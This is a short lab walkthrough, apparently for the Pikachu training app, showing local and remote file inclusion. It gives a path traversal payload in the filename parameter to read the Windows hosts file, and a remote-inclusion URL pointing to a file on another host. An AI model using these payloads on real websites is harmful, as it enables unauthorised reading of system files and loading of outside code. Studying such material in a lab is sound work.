Article directory
File inclusion(local)
Just choose one and click submit, and observe after submittingurl
?filename=
We can use relative paths ../../../../../
to access the contents of the files we want to see
View the host mapping file of the windows system../../../../Windows/System32/drivers/etc/hosts
File inclusion(remote)
It is nothing more than changing to a remote path and reading remote files.
?filename=http://192.168.80.139/pikachu/test/phpinfo.txt